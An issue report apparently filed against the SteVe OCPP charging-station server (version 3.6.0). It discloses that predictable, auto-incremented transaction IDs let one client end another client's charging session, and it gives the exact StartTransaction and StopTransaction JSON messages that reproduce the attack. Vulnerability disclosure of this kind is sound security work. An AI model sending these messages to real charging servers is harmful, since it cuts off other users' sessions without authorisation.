steve
steve copied to clipboard
Predictable Transaction ID Possible Vulnerability Allows Unauthorized Termination of OCPP Sessions
Checklist
- [x] I checked other issues already, but found no answer/solution
- [ ] I checked the documentation and wiki, but found no answer/solution
- [ ] I am running the latest version and the issue still occurs
- [x] I am sure that this issue is about SteVe (and not about the charging station software or something unrelated to SteVe)
Specifications
SteVe Version : 3.6.0
Operating system : Ubuntu 22.04.1
JDK : openjdk version "11.0.20.1"
Database : version 1.0.3
Docker Container Setup
Two Docker containers are set up to simulate two OCPP clients for testing purposes.
Issue Description
A possible security vulnerability was identified where unauthorized termination of transactions is possible due to predictable transaction Ids. The server issues a new transaction ID upon receiving an incomplete StartTransaction
request and, due to the IDs being auto-incremented, an attacker can predict and use them to terminate other transactions.
Steps to Reproduce
- From the first Docker container (Client 1), a transaction is started:
[2,"1","StartTransaction", { "connectorId": 1, "idTag": "test", "meterStart": 20, "timestamp": "2023-09-03T12:34:56Z" }]
- From the second Docker container (Client 2), a
StartTransaction
request with an empty idTag is sent to obtain a new transaction Id:
[2, "1", "StartTransaction", {"idTag": ""}]
- Client 2 then sends a
StopTransaction
request using the new transaction ID minus 1:
[2, "1","StopTransaction", {
"meterStop": 1,
"timestamp": "2023-11-06T15:54:23Z",
"transactionId": [Retrieved Transaction ID - 1],
"reason": "EVDisconnected",
"transactionData": [...]
}]
4.The unauthorized termination of Client 1's transaction is confirmed via the web interface.
Expected behavior
The server should not issue a transaction ID for incomplete StartTransaction
requests and should authenticate StopTransaction
requests before processing.
Actual behavior
The server processes unauthorized StopTransaction
requests using predicted transaction IDs.